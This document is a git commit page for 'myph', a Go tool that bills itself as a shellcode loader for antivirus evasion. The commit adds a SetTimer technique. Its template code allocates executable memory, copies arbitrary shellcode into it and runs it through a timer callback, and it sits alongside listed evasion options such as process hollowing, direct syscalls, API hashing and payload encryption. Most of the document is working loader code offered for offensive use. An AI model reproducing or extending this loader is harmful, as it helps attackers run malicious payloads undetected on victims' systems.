myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit 893020d21ab2163e1d8a9aa4fd3d35d805f936a5
parent 5a342f4d3fd246855eeaf9baed0bac2519050819
Author: H Mike <[email protected]>
Date: Wed, 13 Nov 2024 03:21:05 +0100

feat(loaders): add SetTimer technique (#19)

Diffstat:
MREADME.md | 3++-
Mcli/parser.go | 2+-
Mcli/types.go | 4++--
Aloaders/setTimer.go | 87+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mloaders/utils.go | 1+

5 files changed, 93 insertions(+), 4 deletions(-)

diff --git a/README.md b/README.md
@@ -58,7 +58,7 @@ Flags:
   -p, --process string            target process to inject shellcode to (default "cmd.exe")
   -s, --shellcode string          shellcode path (default "msf.raw")
       --sleep-time uint           sleep time in seconds before executing loader (default: 0)
-  -t, --technique string          shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp) (default "CRT")
+  -t, --technique string          shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp, SetTimer) (default "CRT")
       --use-api-hashing           Use API Hashing
   -v, --version                   version for myph
 ```
@@ -75,6 +75,7 @@ This tool supports few methods for now, but aims to add more as time goes on:
 - CreateRemoteThread
 - EtwpCreateEtwThread
 - CreateRemoteThreadEx
+- SetTimer
 
 If you don't know what that is about, go check out [this repository](https://github.com/matro7sh/BypassAV) :)~
 
diff --git a/cli/parser.go b/cli/parser.go
@@ -347,7 +347,7 @@ func GetParser(opts *Options) *cobra.Command {
 	rootCmd.Flags().StringVarP(&opts.BuildType, "binary-format", "b", defaults.BuildType, "Binary format (exe,dll)")
 	rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
 	rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
-	rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp)")
+	rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp, SetTimer)")
 	rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
 	rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
 	rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
diff --git a/cli/types.go b/cli/types.go
@@ -84,11 +84,11 @@ func (e *technique) String() string {
 // Set must have pointer receiver so it doesn't change the value of a copy
 func (e *technique) Set(v string) error {
 	switch v {
-	case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "Etwp", "NtCreateThreadEx", "EnEnumCalendarInfoA":
+	case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "Etwp", "NtCreateThreadEx", "EnEnumCalendarInfoA", "SetTimer":
 		*e = technique(v)
 		return nil
 	default:
-		return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"NTCreateThreadEx\",  \"EnumCalendarInfoA\", \"Etwp\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
+		return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"NTCreateThreadEx\",  \"EnumCalendarInfoA\", \"Etwp\", \"SetTimer\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
 	}
 }
 
diff --git a/loaders/setTimer.go b/loaders/setTimer.go
@@ -0,0 +1,87 @@
+package loaders
+
+import (
+	"fmt"
+	"strings"
+)
+
+type SetTimerTemplate struct {
+}
+
+func (t SetTimerTemplate) Import() string {
+	return fmt.Sprintf(`
+import (
+    "syscall"
+    "unsafe"
+)
+`)
+}
+
+func (t SetTimerTemplate) Const() string {
+	return fmt.Sprintf(`
+const (
+	MEM_COMMIT             = 0x1000
+	MEM_RESERVE            = 0x2000
+	PAGE_EXECUTE_READWRITE = 0x40
+)
+
+var (
+	kernel32      = syscall.MustLoadDLL("kernel32.dll")
+	user32        = syscall.MustLoadDLL("user32.dll")
+
+	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
+	SetTimer      = user32.MustFindProc("SetTimer")
+	GetMessageW   = user32.MustFindProc("GetMessageW")
+	DispatchMessageW = user32.MustFindProc("DispatchMessageW")
+)
+`)
+}
+
+func (t SetTimerTemplate) Init() string {
+	return ""
+}
+
+func (t SetTimerTemplate) Process() string {
+	return fmt.Sprintf(`
+	addr, _, _ := VirtualAlloc.Call(
+		0,
+		uintptr(len(shellcode)),
+		MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
+	)
+
+	for i := 0; i < len(shellcode); i++ {
+		*(*byte)(unsafe.Pointer(addr + uintptr(i))) = shellcode[i]
+	}
+
+	var dummy uintptr = 0
+	_, _, _ = SetTimer.Call(0, dummy, 0, addr)
+
+	var msg [48]byte
+	_, _, _ = GetMessageW.Call(uintptr(unsafe.Pointer(&msg[0])), 0, 0, 0)
+	_, _, _ = DispatchMessageW.Call(uintptr(unsafe.Pointer(&msg[0])))
+`)
+}
+
+func (t SetTimerTemplate) GetTemplate(targetProcess string) string {
+	InformProcessUnused(targetProcess)
+
+	var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
+	
+}
+`
+	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+	return template
+}
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -41,6 +41,7 @@ func SelectTemplate(templateName string, useApiHashing bool, apiHashTechnique st
 		"CreateFiber":       CreateFiberTemplate{},
 		"Etwp":              ETWPTemplate{},
 		"NtCreateThreadEx":  NtCreateThreadExTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique},
+		"SetTimer":          SetTimerTemplate{},
 	}
 
 	if useApiHashing {